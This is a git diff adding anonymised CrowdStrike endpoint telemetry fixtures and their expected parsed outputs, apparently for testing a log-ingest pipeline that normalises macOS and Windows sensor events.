"{\"event_simpleName\":\"ScriptControlScanInfo\",\"ScriptContent\":\"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c\",\"ConfigStateHash\":\"600000970\",\"OriginalContentLength\":\"100\",\"ContextProcessId\":\"516365064008244070\",\"aip\":\"89.160.20.128\",\"ContentSHA256HashData\":\"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"ScriptContentName\":\"/51a/89\",\"Entitlements\":\"56\",\"name\":\"0a1beccbcea40ac2468a3ee78b\",\"EventOrigin\":\"1\",\"id\":\"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"c7fe43754f5b6ebfa566ef25e9ac6ecc\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "info" + ] + }, + "host": { + "id": "c7fe43754f5b6ebfa566ef25e9ac6ecc", + "os": { + "type": "macos" + } + }, + "message": "ScriptControlScanInfo", + "observer": { + "address": [ + "89.160.20.128" + ], + "geo": { + "city_name": "Linköping", + "continent_name": "Europe", + "country_iso_code": "SE", + "country_name": "Sweden", + "location": { + "lat": 58.4167, + "lon": 15.6167 + }, + "region_iso_code": "SE-E", + "region_name": "Östergötland County" + }, + "ip": [ + "89.160.20.128" + ], + "serial_number": "c7fe43754f5b6ebfa566ef25e9ac6ecc", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "516365064008244070" + }, + "related": { + "hash": [ + "600000970" + ], + "ip": [ + "89.160.20.128" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "35043379", + "ContextBaseFileName": "d66187f4b1779e", + "ContextProcessId": "140060400067209000", + "ContextTimeStamp": "2025-07-20T16:51:47.865Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "36", + "EventOrigin": "1", + "FileCategory": "1", + "IsOnRemovableDisk": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "f6d443ab644ffa64617a90936d6da555f0a2", + "name": "e7ebdc66589c6ae4b87" + }, + "device": { + "id": "3e32d11b9db211e438bf9141dbc31d85" + }, + "event": { + "action": "TarFileWritten", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "f6d443ab644ffa64617a90936d6da555f0a2|3e32d11b9db211e438bf9141dbc31d85|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"d66187f4b1779e\",\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1753030307.865\",\"UserName\":\"2e31bb4e4604be73a\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"35043379\",\"ContextProcessId\":\"140060400067209000\",\"Size\":\"534039\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::2\",\"FileIdentifier\":\"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"e7ebdc66589c6ae4b87\",\"EventOrigin\":\"1\",\"id\":\"f6d443ab644ffa64617a90936d6da555f0a2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"3e32d11b9db211e438bf9141dbc31d85\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478", + "inode": "3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1", + "name": "097fc6a5", + "path": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5", + "size": 534039, + "type": "file" + }, + "host": { + "id": "3e32d11b9db211e438bf9141dbc31d85", + "os": { + "type": "macos" + } + }, + "message": "TarFileWritten", + "observer": { + "address": [ + "2a02:cf40::2" + ], + "geo": { + "continent_name": "Europe", + "country_iso_code": "NO", + "country_name": "Norway", + "location": { + "lat": 62.0, + "lon": 10.0 + } + }, + "ip": [ + "2a02:cf40::2" + ], + "serial_number": "3e32d11b9db211e438bf9141dbc31d85", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "140060400067209000", + "name": "d66187f4b1779e", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "35043379" + ], + "ip": [ + "2a02:cf40::2" + ], + "user": [ + "2e31bb4e4604be73a" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "2e31bb4e4604be73a" + } + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "ConfigStateHash": "95043379", + "ContextBaseFileName": "6f79cfc3feaa775", + "ContextProcessId": "403000009094400601", + "ContextTimeStamp": "2025-09-09T08:00:34.724Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "36", + "EventOrigin": "1", + "FileCategory": "1", + "IsOnRemovableDisk": "0", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "2633213df12f91013279bef1b12ce10d2c67", + "name": "708df495f98345bf516" + }, + "device": { + "id": "b1e14abeaf9680c3f0b9be1f18550235" + }, + "event": { + "action": "XarFileWritten", + "category": [ + "file" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "2633213df12f91013279bef1b12ce10d2c67|b1e14abeaf9680c3f0b9be1f18550235|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"ContextBaseFileName\":\"6f79cfc3feaa775\",\"event_simpleName\":\"XarFileWritten\",\"ContextTimeStamp\":\"1757404834.724\",\"UserName\":\"f27ee237062cfd9\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"403000009094400601\",\"Size\":\"1000870\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.144\",\"FileIdentifier\":\"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"708df495f98345bf516\",\"EventOrigin\":\"1\",\"id\":\"2633213df12f91013279bef1b12ce10d2c67\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b1e14abeaf9680c3f0b9be1f18550235\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070", + "extension": "pkg", + "inode": "0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1", + "name": "5ef9b1be.pkg", + "path": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg", + "size": 1000870, + "type": "file" + }, + "host": { + "id": "b1e14abeaf9680c3f0b9be1f18550235", + "os": { + "type": "macos" + } + }, + "message": "XarFileWritten", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "b1e14abeaf9680c3f0b9be1f18550235", + "version": "2c8b.4.b224e8a.4f" + }, + "process": { + "entity_id": "403000009094400601", + "name": "6f79cfc3feaa775", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "95043379" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "f27ee237062cfd9" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "f27ee237062cfd9" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log new file mode 100644 index 0000000000..4789a85c5b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log @@ -0,0 +1,4 @@ +{"Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705"} +{"Tags":{"Name":"service-worker-storage.aws-id","Owner":"serviceowner","Partition":"partitionname","Service":"ServiceName","Subcluster":"blue","Costcenter":"servicerunner","Email":"user@example.com","Environment":"prod"}} +{"Tags":[{"Key":"Name","ValueString":"service-worker-storage.aws-id"},{"Key":"Owner","ValueString":"serviceowner"},{"Key":"Partition","ValueString":"partitionname"},{"Key":"Service","ValueString":"ServiceName"},{"Key":"Subcluster","ValueString":"blue"},{"Key":"Costcenter","ValueString":"servicerunner"},{"Key":"Email","ValueString":"user@example.com"},{"Key":"Environment","ValueString":"prod"}]} +{"Tags":["312","11544872091698","21990232555653","21990232555859","26388279066700","26388279066703","26388279066704","26388279066705"]} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json new file mode 100644 index 0000000000..9374df97a3 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json @@ -0,0 +1,88 @@ +{ + "expected": [ + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "Tags": [ + "312", + "11544872091698", + "21990232555653", + "21990232555859", + "26388279066700", + "26388279066703", + "26388279066704", + "26388279066705" + ] + }, + "event": { + "original": "{\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705\"}" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "Tags": [ + "Partition:partitionname", + "Owner:serviceowner", + "Costcenter:servicerunner", + "Email:user@example.com", + "Service:ServiceName", + "Environment:prod", + "Subcluster:blue", + "Name:service-worker-storage.aws-id" + ] + }, + "event": { + "original": "{\"Tags\":{\"Name\":\"service-worker-storage.aws-id\",\"Owner\":\"serviceowner\",\"Partition\":\"partitionname\",\"Service\":\"ServiceName\",\"Subcluster\":\"blue\",\"Costcenter\":\"servicerunner\",\"Email\":\"user@example.com\",\"Environment\":\"prod\"}}" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "Tags": [ + "Name:service-worker-storage.aws-id", + "Owner:serviceowner", + "Partition:partitionname", + "Service:ServiceName", + "Subcluster:blue", + "Costcenter:servicerunner", + "Email:user@example.com", + "Environment:prod" + ] + }, + "event": { + "original": "{\"Tags\":[{\"Key\":\"Name\",\"ValueString\":\"service-worker-storage.aws-id\"},{\"Key\":\"Owner\",\"ValueString\":\"serviceowner\"},{\"Key\":\"Partition\",\"ValueString\":\"partitionname\"},{\"Key\":\"Service\",\"ValueString\":\"ServiceName\"},{\"Key\":\"Subcluster\",\"ValueString\":\"blue\"},{\"Key\":\"Costcenter\",\"ValueString\":\"servicerunner\"},{\"Key\":\"Email\",\"ValueString\":\"user@example.com\"},{\"Key\":\"Environment\",\"ValueString\":\"prod\"}]}" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "Tags": [ + "312", + "11544872091698", + "21990232555653", + "21990232555859", + "26388279066700", + "26388279066703", + "26388279066704", + "26388279066705" + ] + }, + "event": { + "original": "{\"Tags\":[\"312\",\"11544872091698\",\"21990232555653\",\"21990232555859\",\"26388279066700\",\"26388279066703\",\"26388279066704\",\"26388279066705\"]}" + }, + "tags": [ + "preserve_original_event" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log new file mode 100644 index 0000000000..7dc9568c3f --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log @@ -0,0 +1 @@ +{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546157.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546169.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json new file mode 100644 index 0000000000..3b719491e2 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json @@ -0,0 +1,43 @@ +{ + "expected": [ + { + "@timestamp": "2023-12-14T09:29:29.576Z", + "crowdstrike": { + "AccountType": "Domain User", + "LastLoggedOnHost": "COMPUTER1", + "LocalAdminAccess": "No", + "LogonInfo": "Domain User Logon", + "LogonTime": "2023-12-14T09:29:17.197Z", + "LogonType": "Interactive", + "PasswordLastSet": "1699971198.062", + "UserLogonFlags_decimal": "0", + "UserSid_readable": "S-1-12-1-3697283754-1083485977-2164330645-2516515886", + "cid": "ffffffff15754bcfb5f9152ec7ac90ad", + "monthsincereset": "1.0" + }, + "event": { + "created": "2023-12-14T09:29:29.576Z", + "id": "||ffffffff15754bcfb5f9152ec7ac90ad", + "original": "{\"AccountType\":\"Domain User\",\"LastLoggedOnHost\":\"COMPUTER1\",\"LocalAdminAccess\":\"No\",\"LogonInfo\":\"Domain User Logon\",\"LogonTime\":\"1702546157.197\",\"LogonType\":\"Interactive\",\"PasswordLastSet\":\"1699971198.062\",\"User\":{\"Name\":\"DOMAIN\\\\BRADLEYA\",\"ID\":\"1000\"},\"UserIsAdmin\":\"0\",\"UserLogonFlags_decimal\":\"0\",\"UserSid_readable\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"_time\":\"1702546169.576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ad\",\"event_platform\":\"Win\",\"monthsincereset\":\"1.0\"}" + }, + "host": { + "os": { + "type": "windows" + } + }, + "related": { + "user": [ + "DOMAIN\\BRADLEYA", + "1000" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "id": "1000", + "name": "DOMAIN\\BRADLEYA" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log new file mode 100644 index 0000000000..ee90ee5f35 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log @@ -0,0 +1,121 @@ +{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"} +{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"} +{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"} +{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} +{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"} +{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"} +{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"} +{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"} +{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"} +{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"} +{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"} 